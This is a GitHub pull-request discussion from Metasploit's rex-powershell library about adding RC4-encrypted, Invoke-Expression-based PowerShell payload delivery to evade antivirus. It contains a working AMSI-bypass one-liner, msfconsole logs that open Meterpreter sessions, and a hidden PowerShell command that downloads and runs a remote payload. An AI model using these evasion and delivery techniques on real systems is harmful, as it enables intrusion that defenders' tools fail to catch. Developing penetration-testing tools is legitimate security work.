rapid7 / rex-powershell

Rex library for dealing with Powershell Scripts
Other
53 stars 34 forks source link

Add option to use Invoke-Expression and RC4 #14

Closed AdrianVollmer closed 4 years ago

AdrianVollmer commented 6 years ago

I called this option exec_no_wrap. I'm not sure if the name is sufficiently descriptive; feel free to change it.

AMSI is automatically disabled. See: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

This also has the advantage of allowing larger payloads, such as a stageless meterpreter. Encryption of the payload also helps with endpoint protection software that monitors HTTP traffic.

Successfully tested with up-to-date Windows Defender and Kaspersky Total Security.

Related discussions:

A PR to metasploit-framework adding the advanced option exec_no_wrap to the web delivery module is planned.

AdrianVollmer commented 6 years ago

Is the dependency on rc4 a problem?

sempervictus commented 6 years ago

@AdrianVollmer: I like the obfuscation approach, will try and merge this over the last stuff i added and see what it produces. While the AMSI disable via

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

piece is viable at present to permit use of invoke-expression, i'd like to try and keep the code viable under AMSI if possible, which in this case is likely a matter of replacing the IEX with a &(...) block. This AMSI cat-and-mouse mess will go on ad nauseum, and having the functionality to disable its current incarnation in framework is nice, but i'd rather not have that hiding other things which will trip AMSI soon as disabling it is no longer an option. Thanks for PRing this, i'll try to get it reviewed today/tomorrow and get back with some comments or code suggestions.

bwatters-r7 commented 6 years ago

@AdrianVollmer I'm still trying to embrace the Ruby lifestyle, but I'm curious about the require rc4 causing this to fail Travis builds. Unfortunately, searching Google for require rc4 is pretty useless. Is this a public library? I cannot require it in an irb session, so I'm guessing it is not a built-in.

An error occurred while loading ./spec/rex/powershell/command_spec.rb.
Failure/Error: require 'rc4'
LoadError:
  cannot load such file -- rc4

I have been drawn to understand that my problem was ruby syntax related and rc4 is a builtin, so that begs more questions.....

busterb commented 6 years ago

rex-powershell may need ruby-rc4 added explicitly to its gemspec if it's not there already. It may be assuming that it gets it from metasploit's list of gems.

busterb commented 6 years ago

This should fix the specs:

~/projects/rex-powershell
$ git diff
diff --git a/rex-powershell.gemspec b/rex-powershell.gemspec
index 20784b2..031d5ae 100644
--- a/rex-powershell.gemspec
+++ b/rex-powershell.gemspec
@@ -26,4 +26,5 @@ Gem::Specification.new do |spec|

   spec.add_runtime_dependency 'rex-text'
   spec.add_runtime_dependency 'rex-random_identifier'
+  spec.add_runtime_dependency 'ruby-rc4'
 end
AdrianVollmer commented 6 years ago

I'm not sure if it's public, but another metasploit module is also requiring it: https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/crypto/rc4.rb

I'm also more of a python guy, but @busterb seems to know what he's talking about ;) thanks for the fix, I added the line

AdrianVollmer commented 6 years ago

My coworkers have another situation right now where they could use this feature. Do you have a timeline on this? Is there something I can do to help get this merged?

busterb commented 5 years ago

Sure, taking a look. Sorry, having this as a separate repo often feels like more of a curse than a blessing in hindsight, for keeping track of things.

sempervictus commented 5 years ago

@AdrianVollmer: i've created a PR to your repo updating the naming convention a bit and replacing the IEX bit in another commit.

sempervictus commented 5 years ago

So i've gone through this a couple of times and it seems there's something wonky with either the input to the encoder/decryptor, or the decryptor itself. I've tried replacing the RC4 implementation in payload.rb with the same one we use to encrypt the binary payloads:

diff --git i/lib/rex/powershell/payload.rb w/lib/rex/powershell/payload.rb
index b2196e1..8a3a811 100644
--- i/lib/rex/powershell/payload.rb
+++ w/lib/rex/powershell/payload.rb
@@ -1,6 +1,5 @@
 # -*- coding: binary -*-
 require 'rex/random_identifier'
-require 'rc4'

 module Rex
 module Powershell
@@ -117,9 +116,11 @@ module Payload
     rig.init_var(:var_key)
     rig.init_var(:random_string)

-    key = Rex::Text.rand_text_alpha(rand(8)+8)
-    rc4 = RC4.new(key)
-    enc_code = rc4.encrypt(code)
+    key = Rex::Text.rand_text_alpha(16)
+    rc4 = OpenSSL::Cipher.new('RC4')
+    rc4.decrypt
+    rc4.key = key
+    enc_code = rc4.update(code)

     hash_sub = rig.to_h
     hash_sub[:random_key] = key

to no effect, the output of _([system.Text.Encoding]::UTF8).GetString((([System.Convert]::FromBase64String("_ is garbage:

?H?????   AQAPRQVH1?eH?R`H?R↑H?R H?rPH☼?JJM1?H1??<a|☻, A??A☺???RAQH?R ?B<H☺?f?x↑♂☻☼?r   ???...

I've tried using UTF8 and Unicode, same deal (latter produces question marks). Somethings amiss either on my end or in the PR.

I've also made a few added changes to my PR on this PR, especially removing the AMSI line. 2008 and the like dont have AMSI, so that line crashes the script. On 2016, AMSI catches that line. Hardcoded AMSI bypasses in templates are a bad idea, its a fast moving target.

In the original version of the B64 trick, the text encoded is Unicode. I tried that as well by calling Rex::text.to_unicode(code) on the encryption op, but decrypted content is still messy (not quite as bad, but much longer obviously since Unicode is wider).

I'm guessing the PSH decrypt loop isnt quite working here, since base64 conversion is pretty straight forward...

bwatters-r7 commented 5 years ago

@sempervictus I may be just not understanding git, but it looks like your PR (https://github.com/AdrianVollmer/rex-powershell/pull/1) is targeted to AdrianVollmer:master and this branch is AdrianVollmer:iex-rc4?

sempervictus commented 5 years ago

Yeah, even with manual URL construction GH won't let me MAKE a PR against the correct branch. It only allowed me to pull against @AdrianVollmers master. Sorry about that.

AdrianVollmer commented 5 years ago

Thanks for the improvements, I merged your branch onto the right one.

busterb commented 5 years ago

Hi, it looks like the conflict resolved in command.rb first. Then probably we need to determine if https://github.com/rapid7/metasploit-framework/pull/11257#issuecomment-459514560 is still a bug?

AdrianVollmer commented 5 years ago

I resolved the conflict. Not sure what the bug is supposed to be or how to reproduce it.

bwatters-r7 commented 5 years ago

Reminder to myself (or anyone) The catch here is twofold: 1) It appears that RC4 in powershell does not match the implementation in Ruby. We need to verify that you can use one to encode and the other to decode. 2) We need to verify this runs fine on powershell 1.0 (spec test on XP)

AdrianVollmer commented 5 years ago

I believe the RC4 implementations match. As a test, I wrote two small scripts. They both create a sequence of 10000 pseudo random numbers and encrypt them with the key abcdefghjikjlmnopqrstuvwxyz. The ruby version and the PowerShell verion

The sha256 hash of both results match:

Algorithm       Hash                                                                   Path                                                                                                   
---------       ----                                                                   ----                                                                                                   
SHA256          0A480D5F20B57D8E287ECCBB383A1565F77F3C0892A37D4352790E3611B34F1C                                                                                                              
SHA256          B3D613A56891B6FEA507EA9569728BE69490D598D56B19903FBC4BD20B591F81    
$ ruby test.rb
0a480d5f20b57d8e287eccbb383a1565f77f3c0892a37d4352790e3611b34f1c
b3d613a56891b6fea507ea9569728be69490d598d56b19903fbc4bd20b591f81

Do you have any other ideas on what to test? Or why exactly do you believe the implementations don't match?

bwatters-r7 commented 5 years ago

Hey there..... I want to land this, so I brought in the changes locally, updated the gem, and after an hour or so of reversing what this does, I added the rc4 option to Msf::Exploit::Powershell. I guess there's more to it than that, because it fails:

msf5 exploit(windows/smb/psexec) > show advanced

Module advanced options (exploit/windows/smb/psexec):

   Name                              Current Setting                                         Required  Description
   ----                              ---------------                                         --------  -----------
   ...
   Powershell::method                reflection                                              yes       Payload delivery method (Accepted: net, reflection, old, msil, rc4)
   ...

msf5 exploit(windows/smb/psexec) > set POWERSHELL::method rc4 
POWERSHELL::method => rc4
msf5 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                192.168.132.195  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass               vagrant          no        The password for the specified username
   SMBUser               vagrant          no        The username to authenticate as

Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4567             yes       The listen port
   RHOST     192.168.132.195  no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf5 exploit(windows/smb/psexec) > run

[*] 192.168.132.195:445 - Connecting to the server...
[*] 192.168.132.195:445 - Authenticating to 192.168.132.195:445 as user 'vagrant'...
[*] 192.168.132.195:445 - Selecting PowerShell target
[*] 192.168.132.195:445 - Executing the payload...
[+] 192.168.132.195:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.132.195:4567
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/psexec) > set POWERSHELL::method reflection
POWERSHELL::method => reflection
msf5 exploit(windows/smb/psexec) > run

[*] 192.168.132.195:445 - Connecting to the server...
[*] 192.168.132.195:445 - Authenticating to 192.168.132.195:445 as user 'vagrant'...
[*] 192.168.132.195:445 - Selecting PowerShell target
[*] 192.168.132.195:445 - Executing the payload...
[+] 192.168.132.195:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.132.195:4567
[*] Sending stage (206403 bytes) to 192.168.132.195
[*] Meterpreter session 1 opened (192.168.213.130:43689 -> 192.168.132.195:4567) at 2019-10-24 10:26:45 -0500

tmoosendmeterpreter > sysinfo
Computer        : WIN10X64_1809
OS              : Windows 10 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
tmoosendmeterpreter > 
AdrianVollmer commented 5 years ago

Sorry, I should have been clearer.

You are using a new method, as if this was an alternative to "reflection" or "dotnet". However, in my opinion, RC4 encryption can be used on top of the method. It does not matter how the shellcode is injected, whether by reflection or by using .NET. The way you use it, I believe shell code ends up directly in a PowerShell script, which obviously cannot be executed.

That's what I meant by the option exec_no_wrap. I realize now I could have called it more appropriately, so I made another commit to rename it to exec_rc4. But now I'm not sure if this is clear enough to the user. The main point of this PR is that PowerShell code is invoked directly and not via command line, allowing for larger payloads. (The other point was an AMSI bypass but I understand this is a rapidly moving target.)

The required commit (which I plan to submit as a pull request to metasploit-framework) can be seen here: https://github.com/AdrianVollmer/metasploit-framework/commit/814c28e858fd67cf9fbe121e0f320874db2da108

This works on Windows 10 with a stageless https payload:

$ msfconsole -x 'use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter_reverse_https; set lhost 192.168.11.2; set powershell::exec_rc4 true; set uripath rc4; run'
[...]
15:43:34>192.168.11.2[0] exploit(multi/script/web_delivery) >
[*] [2019.10.26-15:43:34] Started HTTPS reverse handler on https://192.168.11.2:8443
[*] [2019.10.26-15:43:34] Using URL: http://0.0.0.0:8080/rc4
[*] [2019.10.26-15:43:34] Local IP: http://192.168.11.2:8080/rc4
[*] [2019.10.26-15:43:34] Server started.
[*] [2019.10.26-15:43:34] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://192.168.11.2:8080/rc4');
[*] [2019.10.26-15:43:37] 192.168.11.3     web_delivery - Delivering Payload (372601) bytes
[*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Redirecting stageless connection from /ZyJn03h_PH9FDUQPGLkIhww9tmyD1k4jPjMnjneqaASfzgzxsFJHS0VFH8s with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (192.168.11.2:8443 -> 192.168.11.3:49820) at 2019-10-26 15:43:38 +0200
sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : SYSS-AVOLLMER-W
OS              : Windows 10 (10.0 Build 18362).
Architecture    : x64
System Language : de_DE
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

I also tested it on a Win7 machine. Unfortunately I do not have an XP machine right now.